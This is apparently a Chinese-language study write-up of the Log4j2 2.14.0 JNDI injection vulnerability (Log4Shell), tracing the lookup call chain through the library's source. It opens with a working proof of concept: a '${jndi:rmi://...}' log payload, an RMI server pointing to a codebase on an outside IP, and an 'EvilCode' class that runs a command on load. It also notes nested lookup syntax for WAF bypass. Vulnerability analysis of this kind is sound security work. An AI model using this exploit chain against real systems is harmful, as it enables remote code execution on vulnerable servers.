和前面的JNDI注入时用的代码差不多
package Log4j2;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class log4j {
private static final Logger logger = LogManager.getLogger(log4j.class);
public static void main(String[] args) {
//有些高版本jdk需要打开此行代码
//System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
//模拟填写数据,输入构造好的字符串,使受害服务器打印日志时执行远程的代码 同一台可以使用127.0.0.1
String username = "${jndi:rmi://127.0.0.1:1099/hello}";
//正常打印业务日志
logger.error("username:{}",username);
}
}
package JNDI_Inesrct;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Server {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
Reference aa = new Reference("Calc", "Calc", "http://42.193.22.50:1234/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa);
registry.bind("hello", refObjWrapper);
}
}
package Log4j2;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
public class EvilCode {
static {
System.out.println("受害服务器将执行下面命令行");
Process p;
String[] cmd = {"calc"};
try {
p = Runtime.getRuntime().exec(cmd);
InputStream fis = p.getInputStream();
InputStreamReader isr = new InputStreamReader(fis);
BufferedReader br = new BufferedReader(isr);
String line = null;
while((line=br.readLine())!=null) {
System.out.println(line);
}
} catch (IOException e) {
e.printStackTrace();
}
}
}
如果要引入log4j2的jar包可以这么配置Maven的pom.xml
org.apache.logging.log4j
log4j-api
2.14.0
org.apache.logging.log4j
log4j-core
2.14.0
%d{yyyy-MM-dd HH:mm:ss,SSS} %5p %c{1}:%L - %m%n
/data/logs/dust-server
${pattern}
${pattern}
log4j2这个漏洞当时爆出来的时候堪称是核弹级别的,危害非常大,利用还非常简单,既然如此,那我们肯定要分析一下漏洞相关的原理来学习一下
这个漏洞是个JNDI注入漏洞,分析前我们需要清楚这一点,之前我也分析过JNDI注入的相关流程,该漏洞是从javax.naming.InitialContext开始的,那我们就在那里下个断点,就可以得到log4j2这个漏洞的调用栈了,
在详细分析前先简单了解下log4j三大组件:
Logger:日志记录器,负责收集处理日志记录
Appender:日志存放的地方,负责日志的输出
Layout:日志格式化,负责日志输出的形式
本次漏洞的入口函数为logIfEnabled,然而如果使用了AbstractLogger.java中的debug、info、warn、error、fatal等都会触发到该函数,但是后想要触发该漏洞只能error/fotal触发
想要触发后续流程,需要调用logMessage方法,需要isEnable为true,isEnable会对level进行判断,只有小于等于200,才会返回true。
他们的level如下所示
static {
OFF = new Level("OFF", StandardLevel.OFF.intLevel());
//100
FATAL = new Level("FATAL", StandardLevel.FATAL.intLevel());
//200
ERROR = new Level("ERROR", StandardLevel.ERROR.intLevel());
//300
WARN = new Level("WARN", StandardLevel.WARN.intLevel());
//400
INFO = new Level("INFO", StandardLevel.INFO.intLevel());
//500
DEBUG = new Level("DEBUG", StandardLevel.DEBUG.intLevel());
//600
TRACE = new Level("TRACE", StandardLevel.TRACE.intLevel());
//2147483647
ALL = new Level("ALL", StandardLevel.ALL.intLevel());
}
在log4j2中通过LoggerConfig.processLogEvent()处理日志事件,event中就是我们的日志事件,主要部分在调用callAppenders()即调用Appender
Appender功能主要是负责将日志事件传递到其目标,常用的Appender有ConsoleAppender(输出到控制台)、FileAppender(输出到本地文件)等,通过AppenderControl获取具体的Appender,本次调试的是ConsoleAppender。
调用了AbstractOutputStreamAppender.tryAppend()尝试输出日志
在输入日志之前还得进行日志格式化,于是调用了directEncodeEvent
首先通过getLayout()获取Layout日志格式,通过Layout.encode()进行日志的格式化
经过两层encode调用后再调用toText,在toSerializable处完成日志格式化
处理传入的message通过MessagePatternConverter.format(),也是本次漏洞的关键之处,我们具体来看下。
当config存在并且noLookups为false,匹配到${'则会调用replace替换字符串
这里是调用栈最初调用lookup相关的地方
这里我们看不出啥,跟进两层substitute调用后,查看相关代码
StrSubstitutor类提供的 substitute 方法,是整个 Lookup 功能的核心,用来递归替换相应的字符,这里我们仔细看一下处理逻辑。
我们先看看它的一些参数都代表了啥
prefixMatcher代表${ 前缀
suffixMatcher代表 } 后缀
escape代表 $
valueDelimiterMatcher代表 :和-
chars是我们写入日志的字符串
bufEnd相当于字符串长度
pos相当于头指针
接下来分析下代码逻辑
通过 while 循环遍历字符串寻找 ${ 前缀,找到以后startMatchLen会被赋值为2,相当于返回匹配到的前缀字符串长度,然后跳出循环
接着进入下一个while循环,寻找后缀
在找后缀的 while 循环里,又判断了是否碰到 ${前缀,如果碰到了pos指针直接加上它的长度让指针后移继续寻找后缀
后面匹配到后缀以后,把前缀和后缀中间部分提取出来,endMatchLen是匹配到的后缀的长度。
后缀匹配完后,还要通过多个 if/else 用来匹配 :- 和 :-
:- 是一个赋值关键字,如果程序处理到 ${aaaa:-bbbb} 这样的字符串,处理的结果将会是 bbbb,:- 关键字将会被截取掉,而之前的字符串都会被舍弃掉。
:- 是转义的 :-,如果一个用 a:b 表示的键值对的 key a 中包含 :,则需要使用转义来配合处理,例如 ${aaa:\-bbb:-ccc},代表 key 是,aaa:bbb,value 是 ccc。
通过上面的处理后,将会调用 resolveVariable 方法解析满足 Lookup 功能的语法,并执行相应的 lookup ,将返回的结果替换回原字符串后,再次调用 substitute 方法进行递归解析。
因此在字符串替换的过程中可以看到,方法提供了一些特殊的写法,并支持递归解析。而这些特性,将会可以用来进行绕过 WAF。
我们接着看resolveVariable方法
这里调用了Interpolator.lookup,继续去看看
Log4j2 使用 org.apache.logging.log4j.core.lookup.Interpolator 类来代理所有的 StrLookup 实现类。也就是说在实际使用 Lookup 功能时,由 Interpolator 这个类来处理和分发。
这个类在初始化时创建了一个 strLookupMap ,将一些 lookup 功能关键字和处理类进行了映射,存放在这个 Map 中。
在 2.14.0 版本中,默认是加入 log4j、sys、env、main、marker、java、lower、upper、jndi、jvmrunargs、spring、kubernetes、docker、web、date、ctx,由于部分功能的支持并不在 core 包中,所以如果加载不到对应的处理类,则会添加警告信息并跳过。而这些不同 Lookup 功能的支持,是随着版本更新的,例如在较低版本中,不存在 upper、lower 这两种功能,因此在使用时要注意环境。
处理和分发的关键逻辑在于其 lookup 方法,该漏洞利用的也是lookup方法
通过 : 作为分隔符来分隔 Lookup 关键字及参数,从strLookupMap 中根据关键字作为 key 匹配到对应的处理类,并调用其 lookup 方法。
本次漏洞的触发方式是使用 jndi: 关键字来触发 JNDI 注入漏洞,对于 jndi: 关键字的处理类为 org.apache.logging.log4j.core.lookup.JndiLookup
看一下最关键的 lookup 方法,可以看到是使用了 JndiManager 来支持 JNDI 的查询功能。
这里用到了javax.naming.InitialContext,这就接上了我们之前文章讲的JNDI注入的内容,后续就不再分析了,这就是log4j2漏洞的基本流程
log4j2的调用链我们就分析完,相对于之前分析的漏洞来说,调用栈还挺长的,也很有意思,收获满满,但还需要继续学习,有些知识点还不是很清晰。至于该漏洞的各种rce以及各种绕过姿势,后面有空再继续学习了。
https://paper.seebug.org/1786/#0x01
https://su18.org/post/log4j2/#%E5%85%B3%E9%94%AE%E7%82%B9%E5%88%86%E6%9E%90
https://www.anquanke.com/post/id/262668#h3-6